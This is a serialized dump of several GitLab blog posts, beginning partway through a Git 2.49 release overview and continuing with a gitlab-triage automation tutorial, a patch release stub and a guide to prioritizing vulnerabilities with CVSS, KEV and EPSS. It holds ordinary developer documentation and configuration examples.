in\n\t[1b4e9a5f8b](https://gitlab.com/gitlab-org/git/-/commit/1b4e9a5f8b5f048972c21fe8acafe0404096f694).\n\nAll these efforts were carried out by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Deprecation of .git/branches/ and .git/remotes/\n\nYou are probably aware of the existence of the `.git` directory, and what is\ninside. But have you ever heard about the sub-directories `.git/branches/` and\n`.git/remotes/`? As you might know, reference to branches are stored in\n`.git/refs/heads/`, so that's not what `.git/branches/` is for, and what about\n`.git/remotes/`?\n\nWay back in 2005, [`.git/branches/`](https://git-scm.com/docs/git-fetch#_named_file_in_git_dirbranches)\nwas introduced to store a shorthand name for a remote, and a few months later they were\nmoved to [`.git/remotes/`](https://git-scm.com/docs/git-fetch#_named_file_in_git_dirremotes).\nIn [2006](https://lore.kernel.org/git/Pine.LNX.4.63.0604301520460.2646@wbgn013.biozentrum.uni-wuerzburg.de/),\n[`git-config(1)`](https://git-scm.com/docs/git-config) learned to store\n[remotes](https://git-scm.com/docs/git-config#Documentation/git-config.txt-remoteltnamegturl).\nThis has become the standard way to configure remotes and, in 2011, the\ndirectories `.git/branches/` and `.git/remotes/` were\n[documented](https://gitlab.com/git-scm/git/-/commit/3d3d282146e13f2d7f055ad056956fd8e5d7ed29#e615263aaf131d42be8b0d0888ebd3fec954c6c9_132_124)\nas being \"legacy\" and no longer used in modern repositories.\n\nIn 2024, the document [BreakingChanges](https://git-scm.com/docs/BreakingChanges)\nwas started to outline breaking changes for the next major version of Git\n(v3.0). While this release is not planned to happen any time soon, this document\nkeeps track of changes that are expected to be part of that release.\nIn [8ccc75c245](https://gitlab.com/git-scm/git/-/commit/8ccc75c2452b5814d2445d60d54266293ca48674),\nthe use of the directories `.git/branches/` and `.git/remotes/` was added to\nthis document and that officially marks as them deprecated and to be removed in\nGit 3.0.\n\nThanks to [Patrick Steinhardt](https://gitlab.com/pks-gitlab) for\n[formalizing this deprecation](https://lore.kernel.org/git/20250122-pks-remote-branches-deprecation-v4-5-5cbf5b28afd5@pks.im/).\n\n## Rust bindings for libgit\n\nWhen compiling Git, an internal library `libgit.a` is made. This library\ncontains some of the core functionality of Git.\n\nWhile this library (and most of Git) is written in C, in Git 2.49 bindings were\nadded to make some of these functions available in Rust. To achieve this, two\nnew Cargo packages were created: `libgit-sys` and `libgit-rs`. These packages\nlive in the [`contrib/`](https://gitlab.com/gitlab-org/git/-/tree/master/contrib) subdirectory in the Git source tree.\n\nIt's pretty\n[common](https://doc.rust-lang.org/cargo/reference/build-scripts.html#-sys-packages)\nto split out a library into two packages when a [Foreign Function\nInterface](https://en.wikipedia.org/wiki/Foreign_function_interface) is used.\nThe `libgit-sys` package provides the pure interface to C functions and links to\nthe native `libgit.a` library. The package `libgit-rs` provides a high-level\ninterface to the functions in `libgit-sys` with a feel that is more idiomatic to\nRust.\n\nSo far, the functionality in these Rust packages is very limited. It only\nprovides an interface to interact with the `git-config(1)`.\n\nThis initiative was led by [Josh Steadmon](https://lore.kernel.org/git/8793ff64a7f6c4c04dd03b71162a85849feda944.1738187176.git.steadmon@google.com/) and was merged with [a4af0b6288](https://gitlab.com/gitlab-org/git/-/commit/a4af0b6288e25eb327ae9018cee09def9e43f1cd).\n\n## New name-hashing algorithm\n\nThe Git object database in `.git/` stores most of its data in packfiles. And\npackfiles are also used to submit objects between Git server and client over the\nwire.\n\nYou can read all about the format at\n[`gitformat-pack(5)`](https://git-scm.com/docs/gitformat-pack). One important\naspect of the packfiles is delta-compression. With delta-compression not every\nobject is stored as-is, but some objects are saved as a _delta_ of another\n_base_. So instead of saving the full contents of the objects, changes compared\nto another object are stored.\n\nWithout going into the details how these deltas are calculated or stored, you\ncan imagine that it is important group files together that are very similar. In\nv2.48 and earlier, Git looked at the last 16 characters of the path name to\ndetermine whether blobs might be similar. This algorithm is named version `1`.\n\nIn Git 2.49, version `2` is available. This is an iteration on version `1`, but\nmodified so the effect of the parent directory is reduced. You can specify the\nname-hash algorithm version you want to use with option `--name-hash-version` of\n[`git-repack(1)`](https://git-scm.com/docs/git-repack).\n\n[Derrick Stolee](https://stolee.dev/), who drove this project, did some\ncomparison in resulting packfile size after running `git repack -adf\n--name-hash-version=\u003Cn>`:\n\n| Repo                                          \t| Version 1 size   | Version 2 size |\n|---------------------------------------------------|-----------|---------|\n| [fluentui](https://github.com/microsoft/fluentui) | 440 MB \t| 161 MB   |\n| Repo B                                        \t| 6,248 MB   | 856 MB   |\n| Repo C                                        \t| 37,278 MB  | 6,921 MB |\n| Repo D                                        \t| 131,204 MB | 7,463 MB |\n\nYou can read more of the details in the [patch\nset](https://lore.kernel.org/git/pull.1823.v4.git.1738004554.gitgitgadget@gmail.com/),\nwhich is merged in\n[aae91a86fb](https://gitlab.com/gitlab-org/git/-/commit/aae91a86fb2a71ff89a71b63ccec3a947b26ca51).\n\n## Promisor remote capability\n\nIt's known that Git isn't great in dealing with large files. There are some\nsolutions to this problem, like [Git LFS](https://git-lfs.com/), but there are\nstill some shortcomings. To give a few:\n\n- With Git LFS the user has to configure which files to put in LFS. The server has\n  no control about that and has to serve all files.\n- Whenever a file is committed to the repository, there is no way to get it out\n  again without rewriting history. This is annoying, especially for large files,\n  because they are stuck for eternity.\n- Users cannot change their mind on which files to put into Git LFS.\n- A tool like Git LFS requires significant effort to set up, learn, and use\n  correctly.\n\nFor some time, Git has had the concept of promisor remotes. This feature can be used to deal with large files, and in Git 2.49 this feature took a step forward.\n\nThe idea for the new “promisor-remote” capability is relatively simple: Instead of sending all\nobjects itself, a Git server can tell to the Git client \"Hey, go download these\nobjects from _XYZ_\". _XYZ_ would be a promisor remote.\n\nGit 2.49 enables the server to advertise the information of the promisor remote\nto the client. This change is an extension to\n[`gitprotocol-v2`](https://git-scm.com/docs/gitprotocol-v2). While the server\nand the client are transmitting data to each other, the server can send  names and URLs of the promisor remotes it knows\nabout.\n\nSo far, the client is not using the promisor remote info it gets from the server during clone, so all\nobjects are still transmitted from the remote the clone initiated from. We are planning to continue work on this feature, making it use promisor remote info from the server, and making it easier to use.\n\nThis [patch\nset](https://lore.kernel.org/git/20250218113204.2847463-1-christian.couder@gmail.com/)\nwas submitted by [Christian Couder](https://gitlab.com/chriscool) and merged\nwith\n[2c6fd30198](https://gitlab.com/gitlab-org/git/-/commit/2c6fd30198187c928cbf927802556908c381799c).\n\n## Thin clone using `--revision`\n\nA new `--revision` option was added to\n[`git-clone(1)`](https://git-scm.com/docs/git-clone). This enables you to create\na thin clone of a repository that only contains the history of the given\nrevision. The option is similar to `--branch`, but accepts a ref name (like\n`refs/heads/main`, `refs/tags/v1.0`, and `refs/merge-requests/123`) or a\nhexadecimal commit object ID. The difference to `--branch` is that it does not\ncreate a tracking branch and detaches `HEAD`. This means it's not suited if you\nwant to contribute back to that branch.\n\nYou can use `--revision` in combination with `--depth` to create a very minimal\nclone. A suggested use-case is for automated testing. When you have a CI system\nthat needs to check out a branch (or any reference) to perform autonomous\ntesting on the source code, having a minimal clone is all you need.\n\nThis\n[change](https://gitlab.com/gitlab-org/git/-/commit/5785d9143bcb3ef19452a83bc2e870ff3d5ed95a)\nwas\n[driven](https://lore.kernel.org/git/20250206-toon-clone-refs-v7-0-4622b7392202@iotcl.com/)\nby [Toon Claes](https://gitlab.com/toon).\n\n# Read more\n- [What’s new in Git 2.48.0?](https://about.gitlab.com/blog/whats-new-in-git-2-48-0/)\n- [What’s new in Git 2.47.0?](https://about.gitlab.com/blog/whats-new-in-git-2-47-0/)\n- [What’s new in Git 2.46.0?](https://about.gitlab.com/blog/whats-new-in-git-2-46-0/)",[267,815,1067],{"slug":2172,"featured":92,"template":678},"whats-new-in-git-2-49-0","content:en-us:blog:whats-new-in-git-2-49-0.yml","Whats New In Git 2 49 0","en-us/blog/whats-new-in-git-2-49-0.yml","en-us/blog/whats-new-in-git-2-49-0",{"_path":2178,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2179,"content":2184,"config":2189,"_id":2191,"_type":16,"title":2192,"_source":17,"_file":2193,"_stem":2194,"_extension":20},"/en-us/blog/automating-agile-workflows-with-the-gitlab-triage-gem",{"title":2180,"description":2181,"ogTitle":2180,"ogDescription":2181,"noIndex":6,"ogImage":1375,"ogUrl":2182,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2182,"schema":2183},"Automating Agile workflows with the gitlab-triage gem","Learn how to automate repetitive tasks like triaging issues and merge requests to free up valuable developer time in our \"Getting Started with GitLab\" series.","https://about.gitlab.com/blog/automating-agile-workflows-with-the-gitlab-triage-gem","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automating Agile workflows with the gitlab-triage gem\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-03-13\",\n      }",{"title":2180,"description":2181,"authors":2185,"heroImage":1375,"date":2186,"body":2187,"category":695,"tags":2188},[711],"2025-03-13","*Welcome to our \"Getting started with GitLab\" series, where we help newcomers get familiar with the GitLab DevSecOps platform.*\n\nThis post dives into the [`gitlab-triage`](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage) gem, a powerful tool that lets you create bots to automate your Agile workflow. Say goodbye to manual tasks and hello to streamlined efficiency.\n\n## Why automate your workflow?\n\nEfficiency is key in software development. Automating repetitive tasks like triaging issues and merge requests frees up valuable time for your team to focus on what matters most: building amazing software.\n\nWith `gitlab-triage`, you can:\n\n* **Ensure consistency:** Apply labels and assign issues automatically based on predefined rules.  \n* **Improve response times:** Get immediate feedback on new issues and merge requests.  \n* **Reduce manual effort:** Eliminate the need for manual triage and updates.  \n* **Boost productivity:** Free up your team to focus on coding and innovation.\n\n## Introducing the `gitlab-triage` gem\n\nThe `gitlab-triage` gem is a Ruby library that allows you to create bots that interact with your GitLab projects. These bots can automatically perform a wide range of actions, including:\n\n* **Labeling:** Automatically categorize issues and merge requests.  \n* **Commenting:** Provide updates, request information, or give feedback.  \n* **Assigning:** Assign issues and merge requests to the appropriate team members.  \n* **Closing:** Close stale or resolved issues and merge requests.  \n* **Creating:** Generate new issues based on specific events or conditions.  \n* **And much more!**\n\nCheck out the [`gitlab-triage` gem repository](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage). \n\n## Setting up your triage bot\n\nLet's get your first triage bot up and running!\n\n1. Install the gem. (Note: The gem command is available with Ruby programming language installed.)\n\n```bash\ngem install gitlab-triage\n```\n\n2. Get your GitLab API token.\n\n* Go to your GitLab [profile settings](https://gitlab.com/-/profile/preferences).  \n* Navigate to **Access Tokens**.  \n* Create a new token with the `api` scope.  \n* **Keep your token secure and set an expiration date for it based on when you will be done with this walkthrough!**\n\n3. Define your triage policies.\n\nCreate a file named `.triage-policies.yml` in your project's root directory. This file will contain the rules that govern your bot's behavior. Here's a simple example:\n\n```yaml\n\n---\n- name: \"Apply 'WIP' label\"\n  condition:\n    draft: true\n  action:\n    labels:\n      - status::wip\n\n- name: \"Request more information on old issue\"\n  condition:\n   date:\n    attribute: updated_at\n    condition: older_than\n    interval_type: months\n    interval: 12\n  action:\n    comment: |\n      {{author}} This issue has been open for more than 12 months, is this still an issue?\n```\n\nThis configuration defines two policies:\n\n* The first policy applies the `status::wip` label to any issue that is in draft.  \n* The second policy adds a comment to an issue that the issue has not been updated in 12 months.\n\n4. Run your bot.\n\nYou can run your bot manually using the following command:\n\n```bash\ngitlab-triage -t \u003Cyour_api_token> -p \u003Cyour_project_id>\n```\n\nReplace `\u003Cyour_api_token>` with your GitLab API token and `\u003Cyour_project_id>` with the [ID of your GitLab project](https://docs.gitlab.com/user/project/working_with_projects/#access-a-project-by-using-the-project-id). If you would like to see the impact of actions before they are taken, you can add the `-n` or `--dry-run` to test out the policies first.\n\n## Automating with GitLab CI/CD\n\nTo automate the execution of your triage bot, integrate it with [GitLab CI/CD](https://about.gitlab.com/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation/). Here's an example `.gitlab-ci.yml` configuration:\n\n```yaml\n\ntriage:\n  script:\n    - gem install gitlab-triage\n    - gitlab-triage -t $GITLAB_TOKEN -p $CI_PROJECT_ID\n  only:\n    - schedules\n```\n\nThis configuration defines a job named \"triage\" that installs the `gitlab-triage` gem and runs the bot using the `$GITLAB_TOKEN` (a predefined [CI/CD variable](https://docs.gitlab.com/ci/variables/)) and the `$CI_PROJECT_ID` variable. The `only: schedules` clause ensures that the job runs only on a schedule.\n\nTo create a [schedule](https://docs.gitlab.com/ee/ci/pipelines/schedules.html), go to your project's **CI/CD** settings and navigate to **Schedules**. Create a new schedule and define the frequency at which you want your bot to run (e.g., daily, hourly).\n\n## Advanced triage policies\n\n`gitlab-triage` offers a range of advanced features for creating more complex triage policies:\n\n* **Regular expressions:** Use regular expressions for more powerful pattern matching.  \n* **Summary policies:** Consolidate related issues into a single summary issue.  \n* **Custom actions:** Define custom actions using [Ruby code blocks](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage#can-i-customize) to perform more complex operations using the GitLab API.\n\nHere are two advanced real-world examples from the triage bot used by the Developer Advocacy team at GitLab. You can view the full policies in [this file](https://gitlab.com/gitlab-da/projects/devrel-bot/-/blob/master/.triage-policies.yml?ref_type=heads).\n\n```yaml\n- name: Issues where DA team member is an assignee outside DA-Meta project i.e. DevRel-Influenced\n  conditions:\n    assignee_member:\n      source: group\n      condition: member_of\n      source_id: 1008\n    state: opened\n    ruby: get_project_id != 18 \n    forbidden_labels:\n      - developer-advocacy\n  actions:   \n    labels:\n      - developer-advocacy\n      - DevRel-Influenced\n      - DA-Bot::Skip\n```\n\nThis example for issues across a group, excluding those in the project with the ID of 18, have assignees who are members of the group with ID of 1008 and do not have the label `developer-advocacy` on them. This policy helps the Developer Advocacy team at GitLab to find issues members of the team are assigned to but are not in their team’s project. This helps the team identify and keep track of contributions made outside of the team by adding the teams’ labels.\n\n```\n- name: Missing Due Dates\n  conditions:\n    ruby: missing_due_date\n    state: opened\n    labels:\n      - developer-advocacy\n    forbidden_labels:\n      - DA-Due::N/A\n      - DA-Bot::Skip\n      - DA-Status::FYI\n      - DA-Status::OnHold\n      - CFP\n      - DA-Bot::Triage\n  actions:\n    labels:\n      - DA-Bot-Auto-Due-Date\n    comment: |\n      /due #{get_current_quarter_last_date}\n```\n\nThis second example checks for all issues with the `developer-advocacy` label, which do not include labels in the forbidden labels list and when their due dates have passed. It updates the due dates automatically by commenting on the issue with a slash command and a date that is generated using Ruby.\n\nThe Ruby scripts used in the policies are defined in a separate file as shown below. This feature allows you to be flexible in working with your filters and actions. You can see functions are created for different Ruby commands that we used in our policies. \n\n```\nrequire 'json'\nrequire 'date'\nrequire \"faraday\"\nrequire 'dotenv/load'\n\nmodule DATriagePlugin\n  def last_comment_at\n    conn = Faraday.new(\n      url: notes_url+\"?sort=desc&order_by=created_at&pagination=keyset&per_page=1\",\n      headers: {'PRIVATE-TOKEN' => ENV.fetch(\"PRIV_KEY\"), 'Content-Type' => 'application/json' }\n    )\n\n    response = conn.get()\n    if response.status == 200\n      jsonData = JSON.parse(response.body)\n      if jsonData.length > 0\n        Date.parse(jsonData[0]['created_at'])\n      else\n        Date.parse(resource[:created_at])\n      end\n    else\n      Date.parse(resource[:created_at])\n    end\n  end\n\n  def notes_url\n    resource[:_links][:notes]\n  end\n\n  def get_project_id\n    resource[:project_id]\n  end\n\n  def get_current_quarter_last_date()\n    yr = Time.now.year\n    case Time.now.month\n    when 2..4\n      lm = 4\n    when 5..7\n      lm = 7\n    when 8..10\n      lm = 10\n    when 11..12\n      lm = 1\n      yr = yr + 1\n    else\n      lm = 1    \n    end\n\n    return Date.new(yr, lm, -1) \n  end\n\n  def one_week_to_due_date\n    if(resource[:due_date] == nil)\n      false\n    else\n      days_to_due = (Date.parse(resource[:due_date]) - Date.today).to_i\n      if(days_to_due > 0 && days_to_due \u003C 7)\n        true\n      else\n        false\n      end\n    end\n  end\n\n  def due_date_past\n    if(resource[:due_date] == nil)\n      false\n    else\n      Date.today > Date.parse(resource[:due_date])\n    end\n  end\n\n  def missing_due_date\n    if(resource[:due_date] == nil)\n      true\n    else\n      false\n    end\n  end\n\nend\n\nGitlab::Triage::Resource::Context.include DATriagePlugin\n\n```\nThe triage bot is executed using the command:\n\n``` \n`gitlab-triage -r ./triage_bot/issue_triage_plugin.rb --debug --token $PRIV_KEY --source-id gitlab-com --source groups`  \n```\n\n- `-r`: Passes in a  file of requirements for the performing triage. In this case we are passing in our Ruby functions.  \n- `--debug`: Prints debugging information as part of the output.  \n- `--token`: Is used to pass in a valid GitLab API token.  \n- `--source`: Specifies if the sources of the issues it will search is within a group or a project.  \n- `--source-id`: Takes in the ID of the selected source type – in this case, a group.\n\nThe GitLab [triage-ops](https://gitlab.com/gitlab-org/quality/triage-ops) project is another real-world example that is more complex and you can learn how to build your own triage bot.\n\n## Best practices\n\n* **Start simple:** Begin with basic policies and gradually increase complexity as needed. \n* **Test thoroughly:** Test your policies in a staging environment before deploying them to production.  \n* **Monitor regularly:** Monitor your bot's activity to ensure it's behaving as expected. \n* **Use descriptive names:** Give your policies clear and descriptive names for easy maintenance. \n* **Be mindful of the scope of your filters:** You might be tempted to filter issues across groups where thousands of issues exist. However, this can slow down the triage and also make the process fail due to rate limitations against the GitLab API.  \n* **Prioritize using labels for triages:** To avoid spamming other users, labels are a good way to perform triages without cluttering comments and issues.\n\n## Take control of your workflow\n\nWith the `gitlab-triage` gem, you can automate your GitLab workflow and unlock new levels of efficiency. Start by creating simple triage bots and gradually explore the more advanced features. You'll be amazed at how much time and effort you can save\\!\n\n> #### Want to take your learning to the next level? [Sign up for GitLab University courses](https://university.gitlab.com/). Or you can get going right away with a [free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n\n## \"Getting started with GitLab\" series\nRead more articles in our \"Getting started with GitLab\" series:\n\n- [How to manage users](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [How to import your projects to GitLab](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Mastering project management](https://about.gitlab.com/blog/getting-started-with-gitlab-mastering-project-management/)\n- [Understanding CI/CD](https://about.gitlab.com/blog/getting-started-with-gitlab-understanding-ci-cd/)\n- [Working with CI/CD variables](https://about.gitlab.com/blog/getting-started-with-gitlab-working-with-ci-cd-variables/)\n",[479,696,695,1899,110],{"slug":2190,"featured":6,"template":678},"automating-agile-workflows-with-the-gitlab-triage-gem","content:en-us:blog:automating-agile-workflows-with-the-gitlab-triage-gem.yml","Automating Agile Workflows With The Gitlab Triage Gem","en-us/blog/automating-agile-workflows-with-the-gitlab-triage-gem.yml","en-us/blog/automating-agile-workflows-with-the-gitlab-triage-gem",{"_path":2196,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2197,"content":2203,"config":2209,"_id":2212,"_type":16,"title":2213,"_source":17,"_file":2214,"_stem":2215,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-9-2-17-8-5-17-7-7",{"title":2198,"description":2199,"ogTitle":2198,"ogDescription":2199,"config":2200,"ogImage":712,"ogUrl":2201,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2201,"schema":2202},"GitLab Critical Patch Release: 17.9.2, 17.8.5, 17.7.7","Learn more about this critical patch release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-9-2-17-8-5-17-7-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.9.2, 17.8.5, 17.7.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kevin Morrison\"}],\n        \"datePublished\": \"2025-03-12\",\n      }",{"title":2198,"description":2199,"authors":2204,"heroImage":712,"date":2206,"body":2207,"category":695,"tags":2208},[2205],"Kevin Morrison","2025-03-12","This is the post for [GitLab Critical Patch Release: 17.9.2, 17.8.5, 17.7.7](https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released/).",[1464],{"slug":2210,"featured":6,"template":678,"externalUrl":2211},"gitlab-critical-patch-release-17-9-2-17-8-5-17-7-7","https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released/","content:en-us:blog:gitlab-critical-patch-release-17-9-2-17-8-5-17-7-7.yml","Gitlab Critical Patch Release 17 9 2 17 8 5 17 7 7","en-us/blog/gitlab-critical-patch-release-17-9-2-17-8-5-17-7-7.yml","en-us/blog/gitlab-critical-patch-release-17-9-2-17-8-5-17-7-7",{"_path":2217,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2218,"content":2224,"config":2228,"_id":2230,"_type":16,"title":2231,"_source":17,"_file":2232,"_stem":2233,"_extension":20},"/en-us/blog/vulnerability-risk-prioritization-made-simple-with-gitlab",{"title":2219,"description":2220,"ogTitle":2219,"ogDescription":2220,"noIndex":6,"ogImage":2221,"ogUrl":2222,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2222,"schema":2223},"Vulnerability risk prioritization made simple with GitLab","GitLab provides detailed vulnerability risk data to assess the potential impact of detected vulnerabilities. Learn how this enables teams to effectively prioritize remediation efforts.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674528/Blog/Hero%20Images/blog-image-template-1800x945__5_.png","https://about.gitlab.com/blog/vulnerability-risk-prioritization-made-simple-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Vulnerability risk prioritization made simple with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-03-12\",\n      }",{"title":2219,"description":2220,"authors":2225,"heroImage":2221,"date":2206,"body":2226,"category":674,"tags":2227},[1622],"Development and security teams are often overwhelmed by the number of vulnerabilities they need to remediate. Many organizations remediate [less than 16%](https://arxiv.org/pdf/2302.14172) of their known vulnerabilities monthly. Vulnerability management teams face a constant challenge: which security flaws deserve immediate attention? Three key frameworks help answer this question: Common Vulnerability Scoring System ([CVSS](https://nvd.nist.gov/vuln-metrics/cvss)), Known Exploited Vulnerabilities ([KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)), and Exploit Prediction Scoring System ([EPSS](https://www.first.org/epss/)). The [GitLab 17.9 release](https://about.gitlab.com/releases/2025/02/20/gitlab-17-9-released/) adds support for these frameworks. In this article, you'll learn how to use these frameworks within GitLab to efficiently prioritize risk across your dependency and container image vulnerabilities using this data. \n\n![Vulnerability risk assessment data](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674763/Blog/Content%20Images/vulnerability_data.png)\n\n\u003Ccenter>\u003Ci>Vulnerability risk assessment data\u003C/i>\u003C/center>\n\n## CVSS\n\nCVSS provides a standardized method for rating the severity of security vulnerabilities. Scores range from 0 to 10, with higher values indicating greater severity.\n\nCVSS evaluates vulnerabilities across three dimension groups:\n\n* Base metrics: intrinsic qualities that don't change over time (attack complexity, privileges   required)  \n* Temporal metrics: factors that evolve (exploit maturity, remediation level)  \n* Environmental metrics: organization-specific impact considerations\n\nCVSS offers a consistent severity baseline and common language for security teams. Its comprehensive scoring methodology considers multiple aspects of a vulnerability's technical impact.\n\n## KEV\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) maintains the KEV catalog, which identifies vulnerabilities actively exploited in the wild.\n\nUnlike academic severity scores, KEV focuses on real-world threat intelligence. Each entry includes:\n\n* CVE identifier  \n* Vulnerability name  \n* Action required  \n* Due date for remediation (for federal agencies)\n\nKEV provides actionable intelligence based on observed threat actor behavior. It cuts through scoring complexity with a binary signal: \"This vulnerability is being actively exploited right now.\"\n\n## EPSS\n\nThe EPSS uses machine learning to predict the likelihood a vulnerability will be exploited in the next 30 days. Scores range from 0 to 1 (or 0%-100%), representing probability.\n\nEPSS analyzes hundreds of factors, including:\n* Technical characteristics  \n* Social media mentions  \n* Exploit availability  \n* Vulnerability age\n\nEPSS brings risk-based prioritization to vulnerability management. Rather than focusing solely on technical severity, it helps teams understand which vulnerabilities attackers are most likely to target.\n\n## Combining the frameworks for effective prioritization\n\nEach framework serves a unique purpose:\n\n* CVSS indicates how severe a vulnerability is technically.  \n* KEV indicates which vulnerabilities are actively being exploited. \n* EPSS indicates which vulnerabilities are likely to be exploited soon.\n\nAn effective prioritization strategy leverages all three:\n\n1. Start with KEV-listed vulnerabilities as immediate priorities.  \n2. Use EPSS to identify high-probability threats not yet on KEV.  \n3. Consider CVSS for understanding technical impact.\n\nBy combining these complementary frameworks, security teams can focus limited resources on the vulnerabilities that pose the greatest actual risk to their organizations. You can get started with prioritizing vulnerabilities with GitLab by:\n\n1. Adding security scanners to your pipeline  \n2. Viewing vulnerability insights  \n3. Setting the vulnerability status based metrics\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/7-dWwoKfCHw?si=iC73JCRsxPUEWKf-\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Adding security scanners to your pipeline\n\nGitLab provides built-in security scanning tools through its templates that can be integrated directly into your CI/CD pipeline. GitLab offers several security scanners that address different aspects of your application security:\n\n* **[Static Application Security Testing (SAST)](https://docs.gitlab.com/user/application_security/sast/):** Analyzes your source code for known vulnerabilities  \n* **[Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/user/application_security/dast/):** Tests your running application for vulnerabilities  \n* **[Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/):** Checks your dependencies for known vulnerabilities  \n* **[Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/):** Identifies vulnerabilities in container images  \n* **[Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/):** Finds secrets and credentials accidentally committed to your repository  \n* **[Infrastructure as Code Scanning](https://docs.gitlab.com/user/application_security/iac_scanning/):** Detects security issues in IaC files  \n* **[Coverage-guided Fuzzing](https://docs.gitlab.com/user/application_security/coverage_fuzzing/):** Sends random inputs to an instrumented version of your application in an effort to detect bugs  \n* **[Web API Fuzzing](https://docs.gitlab.com/user/application_security/api_fuzzing/):** Sets operation parameters to unexpected values in an effort to cause unexpected behavior and errors in the API backend\n\nTo add them to your pipeline, simply add the appropriate templates to `.gitlab-ci.yml` file. For example, adding SAST and Dependency Scanning to your pipeline is as simple as:\n\n```yaml  \ninclude:  \n  - template: Security/SAST.gitlab-ci.yml  \n  - template: Security/Dependency-Scanning.gitlab-ci.yml\n\nstages:  \n  - test  \n```\n\nOnce you commit the above changes, security scanners will begin to run. These scanners can be further configured to meet the needs of your organization. To learn more about our various scanners, see the [GitLab application security documentation](https://docs.gitlab.com/user/application_security/).\n\n**Note:** EPSS and KEV metrics are only provided for [dependency](https://docs.gitlab.com/user/application_security/dependency_scanning/) and [container image](https://docs.gitlab.com/user/application_security/container_scanning/) vulnerabilities.\n\n### Viewing vulnerability insights\n\nOnce a pipeline with your security scanners is run on the default branch, you can access the vulnerability report. The vulnerability report provides a consolidated view of all security vulnerabilities detected across your project by GitLab's security scanners. You can access it from your project by going to the side-tab and selecting **Secure > Vulnerability Report**.\n\n![Vulnerability report grouped by tool](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674763/Blog/Content%20Images/vulnerability_report__1_.png)\n\n\u003Ccenter>\u003Ci>Vulnerability report grouped by tool\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nFrom the vulnerability report, select a vulnerability to see its insights page, which includes the severity, EPSS, KEV, and CVSS along with the following:\n\n* description  \n* when it was detected  \n* current status  \n* available actions  \n* linked issues  \n* actions log  \n* filename and line number of the vulnerability (if available)\n\nThis data can be used to effectively triage, remediate, or mitigate the vulnerability.\n\n__Note:__ From the insights page, you can also leverage GitLab Duo’s AI capabilities to [explain](https://docs.gitlab.com/user/application_security/vulnerabilities/#vulnerability-explanation) and [auto-resolve](https://docs.gitlab.com/user/application_security/vulnerabilities/#vulnerability-resolution) a vulnerability.\n\n### Setting the vulnerability status-based metrics\n\nAfter examining the provided data, we can go ahead and change the status of our vulnerability by clicking the **Change status** button:  \n\n![Change vulnerability status from insights page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674764/Blog/Content%20Images/change_status.png)\n\n\u003Ccenter>\u003Ci>Change vulnerability status from insights page\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nThen we'll see a popup that will allow you to change the status of a vulnerability:\n\n![Change vulnerability status option](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674763/Blog/Content%20Images/change_status_2.png)\n\n\u003Ccenter>\u003Ci>Change vulnerability status option\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nWhen you dismiss a vulnerability you can choose one of the following reasons and optionally provide a comment:\n\n* **Acceptable risk:** The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk.  \n* **False positive:** An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present.  \n* **Mitigating control:** The vulnerability’s risk is mitigated by a management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system.  \n* **Used in tests:** The finding is not a vulnerability because it is part of a test or is test data.  \n* **Not applicable:** The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated.\n\nAnd there you have it, quick and easy vulnerability risk prioritization with GitLab!\n\n> Get started today with [a free, 60-day trial of GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/)!\n\n## Learn more\n\nTo learn more about GitLab security and governance features and how we can help enhance your security posture, check out the following resources:\n\n* [GitLab Risk Assessment Data](https://docs.gitlab.com/user/application_security/vulnerabilities/risk_assessment_data/)   \n* [GitLab Security and Compliance 